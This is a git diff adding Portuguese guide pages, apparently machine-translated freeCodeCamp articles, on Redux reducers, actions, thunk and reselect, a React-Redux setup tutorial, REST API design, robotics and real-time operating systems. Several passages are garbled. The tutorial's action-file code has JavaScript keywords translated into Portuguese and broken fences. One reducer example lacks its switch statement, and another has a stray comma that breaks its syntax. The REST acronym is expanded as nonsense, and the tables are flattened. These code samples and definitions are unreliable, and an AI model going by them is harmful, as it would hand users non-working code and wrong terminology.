+title: Reducers
+localeTitle: Redutores
+---
+### Quais são os redutores no Redux?
+
+Redutores são as funções puras que executam uma ação e um estado anterior e retornam um novo estado. Dada a mesma entrada, o redutor deve sempre retornar a mesma saída. 1
+
+### Fontes
+
+1.  http://redux.js.org/docs/basics/Reducers.html
\ No newline at end of file
diff --git a/client/src/guide/portuguese/redux/redux-actions/index.md b/client/src/guide/portuguese/redux/redux-actions/index.md
new file mode 100644
index 0000000000..8b6f0914af
--- /dev/null
+++ b/client/src/guide/portuguese/redux/redux-actions/index.md
@@ -0,0 +1,28 @@
+---
+title: Redux Actions
+localeTitle: Ações do Redux
+---
+## Ações do Redux
+
+A ação do Redux é um objeto simples que descreve o tipo de evento que aconteceu em seu aplicativo. Eles podem até conter dados que precisam ser enviados do aplicativo para a loja Redux. A ação pode conter qualquer coisa, mas deve ter um type propriedade que descreve o evento ocorrendo. Uma boa prática é usar constantes ao descrever a ação.
+
+Por exemplo
+
+```javascript
+const ADD_ITEM = 'ADD_ITEM' 
+```
+
+```javascript
+{ 
+ type: ADD_ITEM, 
+ text: 'This is the first item' 
+ } 
+```
+
+Podemos enviar essas ações para a loja usando `javascript store.dispatch()` Um aplicativo pode ter diferentes tipos de eventos acontecendo ao mesmo tempo e essas ações ajudam a descrever esses eventos. Sem essas ações, não há como alterar o estado do aplicativo.
+
+Você pode tentar o projeto [redux-actions](https://github.com/redux-utilities/redux-actions) , que reduz muito o clichê, tornando suas ações mais rápidas.
+
+#### Mais Informações:
+
+[Documentos oficiais do Redux de ações](https://redux.js.org/basics/actions) página do projeto github do [redux-actions](https://github.com/redux-utilities/redux-actions)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/redux/redux-middleware/index.md b/client/src/guide/portuguese/redux/redux-middleware/index.md
new file mode 100644
index 0000000000..1c7fa9ce3b
--- /dev/null
+++ b/client/src/guide/portuguese/redux/redux-middleware/index.md
@@ -0,0 +1,11 @@
+---
+title: Redux Middleware
+localeTitle: Middleware Redux
+---
+## Middleware Redux
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/redux/redux-middleware/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/redux/redux-reducers/index.md b/client/src/guide/portuguese/redux/redux-reducers/index.md
new file mode 100644
index 0000000000..78bc415965
--- /dev/null
+++ b/client/src/guide/portuguese/redux/redux-reducers/index.md
@@ -0,0 +1,49 @@
+---
+title: Redux Reducers
+localeTitle: Redux Redutores
+---
+## Redux Redutores
+
+Reduxores Redux permitem que você faça alterações em seu estado em sua aplicação. Ações no redux apenas informam ao aplicativo o que basicamente aconteceu. Quer tenha sido um evento de clique que ocorreu ou alguma rolagem do mouse, ele apenas informará que isso aconteceu. Agora, como você muda o estado do seu aplicativo que mora dentro da loja, você faz isso usando um redutor.
+
+Agora um redutor no redux precisa ser uma função pura. Uma função pura é um tipo de função que não tem efeitos colaterais adicionais. Você passa alguns argumentos e retorna o resultado esperado. Por exemplo:
+
+```javascript
+function add(a,b) { 
+ return a + b; 
+ } 
+ 
+ const sum = add(5,4); 
+```
+
+A função acima é pura, porque não importa o que aconteça, ela retornará 9. Uma função que tem ajax chama dentro dela ou faz algo como acessar um banco de dados não é uma função pura. Mesmo se nós mutarmos significando mudança, um valor variável pode ser considerado não uma função pura.
+
+Agora, para fazer alterações no estado, você usa um redutor. Aqui está um exemplo de código de um redutor:
+
+```javascript
+ function todoReducer(state= [],action) { 
+  case 'ADD_TODO': 
+      return [...state,action.data] 
+  case  'DELETE_TODO': 
+      return state.filter(todo=>todo.id !== action.id) 
+  default: 
+      return state; 
+ } 
+```
+
+O que este todoReducer está fazendo é que ele pega o estado atual e a ação que foi disparada e então retorna um novo estado. Aqui usamos a sintaxe do parâmetro padrão es6 para atribuir um valor padrão ao array state. O objeto de ação para o redutor acima pode ser semelhante ao seguinte:
+
+```javascript
+{ 
+ type: 'ADD_TODO', 
+ data: {name: 'Learn Redux',completed:false} 
+ } 
+```
+
+Aqui a ação tem uma propriedade type de 'ADD\_TODO' com um objeto de dados. Agora, quando esta ação é acionada, ela é recebida pelo redutor e, em seguida, com base na instrução switch, ela retornará um novo array com os dados existentes ao lado dos novos dados.
+
+Então, resumir os redutores não são nada além de funções puras que retornam um novo estado para sua aplicação.
+
+#### Mais Informações:
+
+[Redux-Reducers Official Docs](https://redux.js.org/basics/reducers)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/redux/redux-sagas/index.md b/client/src/guide/portuguese/redux/redux-sagas/index.md
new file mode 100644
index 0000000000..190a80895f
--- /dev/null
+++ b/client/src/guide/portuguese/redux/redux-sagas/index.md
@@ -0,0 +1,11 @@
+---
+title: Redux Sagas
+localeTitle: Redux Sagas
+---
+## Redux Sagas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/redux/redux-sagas/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/redux/redux-selectors/index.md b/client/src/guide/portuguese/redux/redux-selectors/index.md
new file mode 100644
index 0000000000..4adbb5da59
--- /dev/null
+++ b/client/src/guide/portuguese/redux/redux-selectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Redux Selectors
+localeTitle: Seletores de Redux
+---
+## Seletores de Redux
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/redux/redux-selectors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/redux/redux-thunk/index.md b/client/src/guide/portuguese/redux/redux-thunk/index.md
new file mode 100644
index 0000000000..9234049bc2
--- /dev/null
+++ b/client/src/guide/portuguese/redux/redux-thunk/index.md
@@ -0,0 +1,74 @@
+---
+title: Redux Thunk
+localeTitle: Thunk Redux
+---
+## Thunk Redux
+
+O Redux Thunk é um middleware que permite retornar funções, ao invés de apenas ações, dentro do Redux 1 . Isso permite ações atrasadas, incluindo o trabalho com promessas.
+
+O motivo pelo qual usamos este middleware é que nem todas as ações que executamos serão sincronizadas e algumas não são síncronas, como o uso de axios para enviar uma solicitação get. Isso levará um pouco de tempo e o simples redux não leva em conta esse comportamento. Então, o Redux-thunk vem para o resgate, permitindo-nos despachar ações de forma assíncrona, para que possamos permitir que essas promessas sejam resolvidas.
+
+Exemplo 1:
+
+```javascript
+const INCREMENT_COUNTER = 'INCREMENT_COUNTER'; 
+ 
+ function increment() { 
+  return { 
+    type: INCREMENT_COUNTER 
+  }; 
+ } 
+ 
+ function incrementAsync() { 
+  return dispatch => { 
+    setTimeout(() => { 
+      // Yay! Can invoke sync or async actions with `dispatch` 
+      dispatch(increment()); 
+    }, 1000); 
+  }; 
+ } 
+```
+
+Exemplo 2:
+
+```javascript
+const GET_CURRENT_USER = 'GET_CURRENT_USER'; 
+ const GET_CURRENT_USER_SUCCESS = 'GET_CURRENT_USER_SUCCESS'; 
+ const GET_CURRENT_USER_FAILURE = 'GET_CURRENT_USER_FAILURE'; 
+ 
+ const getUser = () => { 
+  return (dispatch) => {     //nameless functions 
+    // Initial action dispatched 
+    dispatch({ type: GET_CURRENT_USER }); 
+    // Return promise with success and failure actions 
+    return axios.get('/api/auth/user').then( 
+      user => dispatch({ type: GET_CURRENT_USER_SUCCESS, user }), 
+      err => dispatch({ type: GET_CURRENT_USER_FAILURE, err }) 
+    ); 
+  }; 
+ }; 
+```
+
+### Instalação e Configuração
+
+O Redux Thunk pode ser instalado usando `npm install redux-thunk --save` ou `yarn add redux-thunk` com a linha de comando. Por ser uma ferramenta do Redux, você também precisará configurar o Redux. Uma vez instalado, é ativado usando `applyMiddleware()` :
+
+```javascript
+import { createStore, applyMiddleware } from 'redux'; 
+ import thunk from 'redux-thunk'; 
+ import rootReducer from './reducers/index'; 
+ 
+ const store = createStore( 
+  rootReducer, 
+  applyMiddleware(thunk) 
+ ); 
+```
+
+### Referências
+
+*   [Redux Thunk Github Repo](https://github.com/reduxjs/redux-thunk)
+*   [Middleware Redux](https://redux.js.org/advanced/middleware)
+
+### Fontes
+
+1.  [Exemplo de Contador de Incrementos citado na Documentação do Redux Thunk, 10/02/2018](#https://github.com/reduxjs/redux-thunk)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/redux/reselect/index.md b/client/src/guide/portuguese/redux/reselect/index.md
new file mode 100644
index 0000000000..51a686f3b5
--- /dev/null
+++ b/client/src/guide/portuguese/redux/reselect/index.md
@@ -0,0 +1,18 @@
+---
+title: Reselect
+localeTitle: Reselecionar
+---
+## Reselecionar
+
+Reselecionar é uma biblioteca de seletores simples para o Redux. Por que precisamos de seletores? Documentos oficiais descrevem desta forma:
+
+*   Os seletores podem calcular dados derivados, permitindo que o Redux armazene o estado mínimo possível.
+*   Seletores são eficientes. Um seletor não é recalculado a menos que um dos seus argumentos seja alterado.
+*   Seletores são compostos. Eles podem ser usados ​​como entrada para outros seletores.
+
+Pode parecer complicado, mas os slectors permitem que o aplicativo funcione mais rápido, reduzindo o (s) processamento (s) desnecessário (s). Normalmente `mapStateToProps` é chamado toda vez que qualquer alteração na `store` é feita. `mapStateToProps` liga valores de armazenamento para reagir. Até você usar o `PureComponents` ele pode fazer com que o componente seja renderizado `PureComponents` , embora não seja necessário.
+
+#### Mais Informações:
+
+*   [selecionar novamente](https://github.com/reduxjs/reselect)
+*   [Reagir, selecionar novamente e Redux](https://medium.com/@parkerdan/react-reselect-and-redux-b34017f8194c)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/redux/tutorial/index.md b/client/src/guide/portuguese/redux/tutorial/index.md
new file mode 100644
index 0000000000..e651f89022
--- /dev/null
+++ b/client/src/guide/portuguese/redux/tutorial/index.md
@@ -0,0 +1,280 @@
+---
+title: React Redux Basic Setup
+localeTitle: React Redux Basic Setup
+---
## React Redux Basic Setup
+
+Neste guia, será apresentado ao leitor como configurar um aplicativo simples React e Redux.
+
+Baseia-se no princípio de que um aplicativo [Node.js](https://nodejs.org/) já está criado e sendo executado com o [Express](https://expressjs.com/) e o [Webpack](https://webpack.github.io/) .
+
+## Instalação
+
+Assumindo que tudo esteja configurado e funcionando corretamente, existem alguns pacotes que precisam ser adicionados para que o Redux funcione com o React.
+
+Abra um terminal dentro da pasta do projeto que foi criada e emita o seguinte comando
+
+```sh
+npm install --save react react react-dom react-redux react-router redux 
+```
+
+O que o comando acima faz é instalar os pacotes localmente e adicionar uma referência ao arquivo package.json nas dependências.
+
+Também adicione ao seu navegador de escolha a seguinte ferramenta [Redux Dev Tools](https://github.com/zalmoxisus/redux-devtools-extension) .
+
+Isso permitirá que o desenvolvedor veja o estado do aplicativo e suas alterações e quais ações estão sendo acionadas também.
+
+## Estrutura de pastas
+
+Com todas as dependências instaladas, é altamente recomendável criar uma estrutura de pastas dentro de seu aplicativo, semelhante a uma abaixo, para melhor manutenção e organização do código.
+```
+project_root 
+ │   index.js 
+ | 
+ └───client 
+ |   App.jsx 
+ |   NotFound.jsx 
+ | 
+ └───common 
+    │ 
+    └───actions 
+    |   │  appActions.js 
+    | 
+    └───constants 
+    |   │  Actiontypes.js 
+    | 
+    └───reducers 
+    |   │   appReducer.js 
+    └───store 
+        │   store.js 
+```
+
+## Descrição dos componentes do aplicativo e como eles interagem entre si e com o redux
+
+## Implementação do ponto de entrada do aplicativo
+
+*   /project\_root/index.js
+    *   É o ponto de entrada para o aplicativo que irá conter o ponto de entrada para qual loja, e irá processar o arquivo App.jsx.
+
+Abaixo está um exemplo do código que será declarado no arquivo
+
+```javascript
+import React from 'react'; 
+ import {render} from 'react-dom'; 
+ import {Router,Route,browserHistory} from 'react-router'; 
+ import {Provider} from "react-redux"; 
+ import store from "../common/store/store"; 
+ import App from '../client/App'; 
+ import NotFound from '../client/notFound'; 
+ 
+ render( 
+    <Provider store={store}> 
+        <Router history={browserHistory}> 
+            <Route path="/" component={App} /> 
+            <Route path="*" component={NotFound}/> 
+        </Router> 
+    </Provider>, 
+    document.getElementById('root') 
+ ); 
+```
+
+Neste exemplo, as importações de reação usuais são adicionadas ao arquivo, mas também algumas novas, como o Roteador, Rota, browserHistory.
+
+Esses são responsáveis ​​pelo manuseio de rotas, se elas forem necessárias para o aplicativo.
+
+E também onde o armazenamento de aplicativos é adicionado e permitido trabalhar no aplicativo.
+
+## Implementação de componente de aplicativo
+
+O seguinte arquivo:
+
+*   /client/App.jsx
+*   Este arquivo é o arquivo de aplicativo de linha de base e onde react e redux se comunicarão entre si.
+
+```javascript
+import React, { Component } from 'react'; 
+ import {connect} from 'react-redux'; 
+ import PropTypes from 'prop-types'; 
+ import {ActionA,ActionB,ActionC} from '../common/actions/appActions'; 
+ class App extends Component{ 
+ 
+    // example of triggering the action inside a component 
+    foo=()=>{ 
+        this.props.doStringMessage(`Hello World`); 
+    } 
+    //default render function of the component 
+    render(){ 
+        return( 
+            // the base component 
+        ); 
+    } 
+ } 
+ /** 
+ * es6 fat arrow function to get information from the application state 
+ * @param {*} state current state of the application 
+ */ 
+ const mapStateToProps=state=>{ 
+    return { 
+        ArrayValue:state.example.exapleArray, 
+        StringMessage:state.example.exampleString, 
+        bookApploggedIn:state.example.exampleBool, 
+        ObjectValue:state.example.exampleObject 
+    }; 
+ }; 
+ /** 
+ * es6 fat arrow function to connect the actions declared in the action file to the the component as if they were common react props 
+ * @param {*} dispatch function send to action file to be later processed in the reducer 
+ */ 
+ const mapDispatchToProps=dispatch=>{ 
+    return { 
+        doStringMessage:(value)=>{ 
+            dispatch(ActionA(value)); 
+        }, 
+        getArrayItems:()=>{ 
+            dispatch(ActionB()); 
+        }, 
+        doBooleanChange:(value)=>{ 
+            dispatch(ActionC(value)); 
+        } 
+    }; 
+ }; 
+ /** 
+ * this function connects the application component to be possible to interact with the store 
+ * @param {*} mapStateToProps allows the retrieval of information from the state of the application 
+ * @param {*} mapDispatchToProps allows the state to change via the actions defined inside 
+ */ 
+ export default connect(mapStateToProps,mapDispatchToProps)(App); 
+```
+
+O exemplo acima demonstra como o componente base do aplicativo é configurado e como ele irá interagir com a arquitetura do redux.
+
+Também como despachar uma ação definida do componente que será passada para o armazenamento e fazer as alterações no redutor do aplicativo.
+
+## Declaração das Ações de Aplicação
+
+O seguinte arquivo:
+
+*   /common/actions/appActions.js
+    
+*   Este arquivo é onde cada uma das ações definidas irá interagir com o estado da aplicação e com o redutor.
+    
+*   E também qualquer chamada de API externa necessária para o aplicativo deve ser feita aqui e depois passada para o redutor através da chamada de uma ação.
+    
+    \`\` \`javascript importar { APP _AÇÃO_ A, APP _ACTION_ B, APP _ACTION_ C } de '../constants/Actiontypes'; / \*\*
+    
+*   es6 constante para comunicar com redutor para realizar uma determinada ação
+    
+*   @param {Object} valoriza um objeto ou qualquer outro tipo a ser definido no redutor **/ export const doActionA = value => ({ tipo: APP _AÇÃO_ A, valor }); /**
+    
+*   es6 constante para comunicar com redutor para realizar uma determinada ação
+    
+*   @param {Object} um objeto ou qualquer outro tipo a ser definido no redutor **/ export const doActionB = value => ({ tipo: APP _ACTION_ B, valor }); /**
+    
+*   es6 constante para comunicar com redutor para realizar uma determinada ação
+    
+*   @param {Object} um objeto ou qualquer outro tipo a ser definido no redutor **/ export const doActionC = value => ({ tipo: APP _ACTION_ C, valor }); /**
+    
+*   es6 constante que será conhecida pelo componente para que seja possível a interação entre o componente e o estado
+    
+*   @param {Object} valoriza um objeto ou qualquer outro tipo a ser definido no redutor **/ exportar const ActionA = value => dispatch => { despacho (doActionB (valor)); }; /**
+    
+*   es6 constante que será conhecida pelo componente para que seja possível a interação entre o componente e o estado \*\* / exportar const ActionB = () => dispatch => { expedição (doActionB (true)); }; `In the example code provided above, the item` ActionB\`\`\` será disponibilizado para o componente App.jsx e quando for acionado pelo componente por meio de um prop, ele acionará a ação apropriada dentro desse arquivo e, em seguida, para o redutor e alterará o declarar em conformidade.
+    
+
+## Implementação de tipos de ação
+
+O seguinte arquivo:
+
+*   /common/constants/Actiontypes.js
+*   Este arquivo conterá a declaração de cada um dos tipos de ações disponíveis para serem usados ​​pelo aplicativo.
+*   As declarações feitas aqui terão que disponibilizar o arquivo de ações para que elas sejam manipuladas no aplicativo.
+
+```javascript
+export const APP_ACTION_A='MAKE_A'; 
+ export const APP_ACTION_B='MAKE_B'; 
+ export const APP_ACTION_C='MAKE_C'; 
+```
+
+No exemplo acima, três tipos de ações são declarados e exportados para serem disponibilizados para serem consumidos.
+
+## Implementação do redutor
+
+O seguinte arquivo:
+
+*   /common/reducers/appReducer.js
+    *   O redutor, em essência, nada mais é do que uma função pura de javascript que irá verificar se alguma das condições atende a ação desencadeada e faz as alterações no estado, nunca alterando-a.
+
+```javascript
+ import { 
+    APP_ACTION_A, 
+    APP_ACTION_B, 
+    APP_ACTION_C 
+ } from '../constants/Actiontypes'; 
+ 
+ /** 
+ * es6 example of a declaration of the reducer 
+ * @param {Object} state contains all the application's state properties needed 
+ * @param {action} action the action that will trigger the state's changes 
+ **/ 
+ const ExampleAppReducer= (state = { 
+    exampleBool:false, // boolean value 
+    exampleString:'', // string value 
+    exampleArray: [], // array value 
+    onError:{ 
+        A:'', 
+        B:'', 
+        C:'' 
+    } // object with properties inside 
+ }, action) => { 
+    //switch statement that will test every case and make the necessary changes, never mutating the state as it's being preserved always 
+    switch(action.type){ 
+        case APP_ACTION_A:{ 
+            return { 
+                ...state, // es6 epread operator to make a copy of the existing state object 
+                exampleBool:action.value // the state property changes accordingly to the value of the action triggered 
+            }; 
+        } 
+        case APP_ACTION_B:{ 
+            return { 
+                ...state, 
+                exampleString:action.value 
+            }; 
+        }, 
+        case APP_ACTION_C:{ 
+            return { 
+                ...state, 
+                exampleArray:action.value 
+            }; 
+        } 
+        default:{ 
+            return state; // if any of the actions triggered is not defined here it will return the default state 
+        } 
+    } 
+ }; 
+ export default ExampleAppReducer; 
+```
+
+O código acima ilustra como um redutor básico é definido e faz alterações no estado, através do teste de uma determinada condição.
+
+## Implementação de loja
+
+O arquivo:
+
+*   /common/store/store.js
+*   Este arquivo irá conter a definição da árvore de estados do aplicativo, a fim de alterar o estado interno, uma ação precisa ser enviada para aqui.
+*   Não é nada mais do que um objeto com métodos declarados dentro, o mais importante para criar a loja
+
+\`\` \`javascript import {createStore} de 'redux'; import example from '../reducers/ExampleAppReducer';
+
+createStore padrão de exportação ( exemplo ); \`\` \` O código acima demonstra como definir um armazenamento de aplicativo simples.
+
+Esta é a configuração básica de um redutor, ele pode ser expandido ainda mais e conter várias lojas, por exemplo, e também ter alguns middlewares adicionados a ele.
+
+## Leitura adicional
+
+Como este guia nada mais é do que uma introdução sobre como o reagir e o redux funcionam juntos e como implementar a arquitetura. É altamente recomendável que o leitor deste guia leia os links abaixo para ler e clonar os repositórios e testá-los.
+
+[Redux Docs](http://redux.js.org/)
+
+[Redux Api](http://redux.js.org/docs/api/)
+
+[Exemplos de Redux](https://github.com/reactjs/redux/tree/master/examples)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/rest-api/index.md b/client/src/guide/portuguese/rest-api/index.md
new file mode 100644
index 0000000000..12a848f781
--- /dev/null
+++ b/client/src/guide/portuguese/rest-api/index.md
@@ -0,0 +1,106 @@
+---
+title: Rest API Design
+localeTitle: Design da API de descanso
+---
### História
+
+RESTO significa **Re** protocolo **T** ransferência **S** tate apresentação. Roy Fielding definiu REST em sua dissertação de doutorado no ano 2000.
+
+### O que é isso?
+
+O REST foi desenvolvido para fornecer uma interface uniforme para
+
+*   Identificando recursos
+*   Manipulação de recursos
+*   Mensagens descritivas
+*   Usando a hipermídia como o mecanismo do estado do aplicativo (HATEOS)
+
+### Melhores práticas
+
+*   \#### Noções básicas
+
+| Método | http://api.co/v2/cars | http://api.co/v2/cars/1234 |  
+| --- | --- | --- | | GET | Listar todos os carros | Recuperar um carro individual | | POST | Crie um carro novo | Erro | | PÔR | Substituir coleções de carros por uma nova | Substitua o carro com id 1234 | | DELETE | Apagar todos os carros | Apagar carro com id 1234 |
+
+_Observe enquanto as operações PUT, cliente ou servidor, podem gerar id's_
+
+*   #### Os substantivos são bons Os verbos são ruins
+    
+*   Use substantivos para referenciar recursos como `cars` , `fruits` etc.
+    
+*   Use verbos para declarações de ação `convertMilesToKms` , `getNutritionalValues`
+    
+*   #### Singular ou plural?
+    
+    Use a gramática correta para declaração
+    
+    **Evitar** `/person/145`
+    
+    **Prefiro** `/people/154` Suponho retornar a 154ª pessoa da lista de pessoas
+    
+*   #### Use revestimento
+    
+    Use qualquer um dos padrões abaixo e seja **consistente!**
+    
+    | Estilos de maiúsculas | Exemplo | | ------------- | ------------- | | **UpperCamelCase** | `http://api.fintech.cp/DailyTransactions/Today` | | **lowerCamelCase** | `http://api.fintech.cp/dailyTransactions/today` |  
+    | **snake\_case** | `http://api.fintech.cp/daily_transactions/today` |
+    
+*   #### **Relacionamentos e Recursos**
+    
+*   Os recursos podem ter relacionamentos `one-to-many` , `many-to-many` , `many-to-one` etc. O mapeamento correto deles é crucial.
+    
+*   Mapeamento de **um para muitos**
+    
+    Por exemplo, `Tickets/145/messages/4` sugere relação um-para-muitos entre `tickets` e `messages` . Significado `1` ticket tem `N` mensagens. A mensagem não é um recurso autônomo. Você não pode ter `/messages/4` .
+    
+*   **Muitos para muitos** mapeamento
+    
+    Por exemplo, `/usergroups/345/users/56` sugere selecionar o 345º grupo de usuários e obter o usuário com o ID 56. Entretanto, um usuário pode estar em vários `usergroups` isto é, `/usergroups/209/users/56` também é válido. Nesse caso, para separar os `users` recurso depedente em um ponto de extremidade separado como `/users/56` e fornecer a vinculação de recursos em `/usergroups/209/users/56`
+    
+*   #### **Parâmetros da API**
+    
+*   **CAMINHO** : _necessário_ para acessar o recurso Por exemplo, `/cars` `/fruits`
+    
+*   **Parâmetros de consulta** : _opcional_ filtrar a lista Por exemplo `/cars?type=SUV&year=2010`
+    
+*   **Corpo** : Lógica específica do recurso. Consulta de pesquisa avançada. Às vezes, pode ter tanto consulta quanto corpo.
+    
+*   **Cabeçalho** : deve conter dados globais ou de plataforma ampla. Por exemplo, parâmetros de chave de API, chaves criptografadas para autenticação, informações de tipo de dispositivo, por exemplo, móvel ou desktop ou endpoint, tipo de dados do dispositivo, por exemplo, xml ou json. Use o cabeçalho para comunicar esses parâmetros
+    
+*   #### Códigos de Status HTTP
+    
+    Use códigos de status corretos
+    
+    | Códigos | Significado | | ------------- |: -------------: | | 1xx | Solicitação recebida e entendida. | | 2xx | Ação solicitada pelo cliente foi recebida, entendida e solicitada. | | 3xx | O cliente deve tomar medidas adicionais para concluir a solicitação. A maioria desses códigos de status é usada no redirecionamento de URL. | | 4xx | Destinado a situações em que parece que o erro foi causado pelo cliente. | | 5xx | O servidor não conseguiu atender a uma solicitação. |
+    
+    Pouco mais em **2xx** !
+    
+*   **201 Recurso Criado.** POST `/cars` devem retornar o HTTP 201 criado com o cabeçalho de `location` informando como acessar o recurso Por exemplo, `location` : `api.com/cars/124` no cabeçalho
+    
+*   **202 - Aceito**
+    
+    Use isso se a tarefa for grande para ser executada. Diga ao cliente, aceitou o pedido e processará / processará Nenhuma carga é retornada
+    
+*   **204 - Nenhum conteúdo**
+    
+    Usada quando excluídos `DELETE cars/124` Não retorna conteúdo. Mas também pode retornar `200 OK` se a API pretende enviar o recurso excluído para processamento adicional.
+    
+    Os perigosos recursos **5xx** !
+    
+*   **500** Erro interno do servidor
+    
+*   **504** Tempo limite do gateway. O servidor não recebeu resposta em tempo hábil
+    
+    Menos conhecido **4xx** sugere que você está passando o parâmetro errado. Também pode passar informações erradas. Por exemplo
+    
+    `DELETE /cars/MH09234`
+    
+    retorna `4xx` ou mensagem `Expecting int car id /car/id got string car/MH09234`
+    
+
+### **Leitura adicional**
+
+[Como criar ótimas APIs - Analisar o dia do desenvolvedor 2013](https://www.youtube.com/watch?v=qCdpTji8nxo)
+
+[O interminável debate de design da API REST por Guillaume Laforge](https://www.youtube.com/watch?v=48azd2VqtP0)
+
+[Códigos de status HTTP](https://httpstatuses.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/robotics/index.md b/client/src/guide/portuguese/robotics/index.md
new file mode 100644
index 0000000000..bc1ac7fd32
--- /dev/null
+++ b/client/src/guide/portuguese/robotics/index.md
@@ -0,0 +1,37 @@
+---
+title: Robotics
+localeTitle: Robótica
+---
+## Robótica
+
+Robótica é sobre os sistemas que compõem os robôs. Não há deificação universal de um robô. Uma definição geralmente aceita é: _Um robô é uma máquina física programável que segue o paradigma do sentido, pensamento e ação_ . Mais especificamente, um robô precisa sentir seu ambiente, usar essa informação como uma entrada para tomar decisões e agir de acordo. Cada sistema neste paradigma é frequentemente um estudo em si. Há uma infinidade de variedades de tipos de robôs e sistemas de componentes. Cada robô geralmente é dedicado a um conjunto de processos com objetivos claros.
+
+### Sentido
+
+Um robô precisa sentir seu ambiente. Para isso, usa diferentes tipos de sensores. Um _sensor_ pode ser definido como um dispositivo de entrada que converte parâmetros físicos em (geralmente) sinais elétricos. As câmeras do seu smartphone são um tipo de sensor, convertem a luz em bits elétricos de informação. Um termômetro digital é um sensor que converte calor (temperatura) em um sinal elétrico que pode ser exibido como um valor celsius em sua tela. Há sempre limitações à precisão da saída de um sensor, de modo que a saída do sensor é normalmente processada para compensar os erros.
+
+### Pensar
+
+Um robô tem que tomar decisões com base na entrada que recebe do ambiente e da maneira como ele é programado. Funções autônomas são aquelas que podem ser executadas por um robô sem qualquer intervenção humana. Os robôs geralmente têm uma mistura de funções autônomas e controladas (robôs totalmente autônomos estão se tornando comuns atualmente). Eles têm um computador de bordo que facilita o cálculo necessário para o processo de tomada de decisão de um robô. Por exemplo, [quadcopters de](https://en.wikipedia.org/wiki/Quadcopter) consumo comercial estão oferecendo um recurso em que o helicóptero pode ser solicitado a seguir um objeto em movimento. Ele usa a entrada da câmera, realiza [processamento de imagem](https://en.wikipedia.org/wiki/Digital_image_processing) para distinguir o objeto do ambiente e usa [sistemas controlados](https://en.wikipedia.org/wiki/Control_system) para seguir o objeto. E tudo isso é feito sem nenhuma entrada humana (isto é, depois que o helicóptero é programado).
+
+### Aja
+
+Uma vez que o robô tome sua decisão, ele precisa agir de acordo. Para isso, usa atuadores. Um _atuador_ é um dispositivo que converte energia em movimento. Os atuadores podem ser classificados de acordo com o tipo de energia de entrada que eles exigem. Os dois tipos mais comuns de atuadores são elétricos (que usam energia elétrica para gerar movimento) e pneumáticos (que usam pressão de ar para gerar movimento). Por exemplo, um motor é um atuador que converte energia elétrica em movimento rotatório. Há sempre limitações à precisão e ao grau de controle de um atuador, portanto, [sistemas de controle](https://en.wikipedia.org/wiki/Control_system) são usados ​​para compensar essas limitações.
+
+## Coisas essenciais para robótica.
+
+Primeiro, você precisa ter boa quantidade de paciência para o ás na Robótica.
+
+1) Seja bom em qualquer linguagem de programação para ter um bom controle sobre o código. 2) Aprenda RaspberryPi ou Arduino para o entendimento adequado de eletrônica e lógica. Agora a diferença entre o RaspberryPi e o Arduino é: O RaspberryPi é um SBC (Single-Board-Computer), enquanto o Arduino é apenas um microcontrolador. Portanto, a diferença entre as coisas acima é muito importante. 3) A cinemática inversa é muito importante para a peça de design. Aqui está um bom recurso para aprender [Cinemática Inversa](https://www.intechopen.com/books/industrial_robotics_theory_modelling_and_control/robot_kinematics__forward_and_inverse_kinematics) .
+
+Juntando, esses recursos são bons o suficiente para iniciar sua jornada com a Robótica!
+
+### Mais Informações:
+
+[Robôs (Wikipedia.org)](https://en.wikipedia.org/wiki/Robot)
+
+[Robótica (Wikipedia.org)](https://en.wikipedia.org/wiki/Robotics)
+
+[Sensores (electronicshub.org)](https://www.electronicshub.org/different-types-sensors/)
+
+[Atuador (Wikipedia.org)](https://en.wikipedia.org/wiki/Actuator)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/rt-os/index.md b/client/src/guide/portuguese/rt-os/index.md
new file mode 100644
index 0000000000..dcff72ee87
--- /dev/null
+++ b/client/src/guide/portuguese/rt-os/index.md
@@ -0,0 +1,15 @@
+---
+title: Real-Time operating systems
+localeTitle: Sistemas operacionais em tempo real
+---
+## Sistemas operacionais em tempo real
+
+Os sistemas operacionais em tempo real (RTOS) são projetados para processar entradas sem buffer. Buffering é um processo de atrasar entradas como parte de um sistema de gerenciamento de recursos. Os sistemas operacionais Linux e BSD não são projetados ou configurados para RTOS.
+
+### RTOSes de código aberto
+
+[Executivo em Tempo Real para Sistemas Multiprocessados ​​(RTEMS) (@ Wikipedia.org)](https://en.wikipedia.org/wiki/RTEMS)
+
+### Mais Informações:
+
+[Comparação de sistemas operacionais em tempo real (@ Wikipedia.org)](https://en.wikipedia.org/wiki/Comparison_of_real-time_operating_systems)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ruby/classes-and-objects/index.md b/client/src/guide/portuguese/ruby/classes-and-objects/index.md
new file mode 100644
index 0000000000..48ef70aae4
--- /dev/null
+++ b/client/src/guide/portuguese/ruby/classes-and-objects/index.md
@@ -0,0 +1,109 @@
+---
+title: Classes and Objects
+localeTitle: Classes e Objetos
+---
+## Classes e Objetos
+
+### Objetos em Ruby
+
+Vamos rapidamente examinar os objetos Ruby. No mundo real, objetos podem ser qualquer coisa, incluindo um carro, computador ou até mesmo um humano. Cada um desses objetos tem um estado e comportamentos.
+
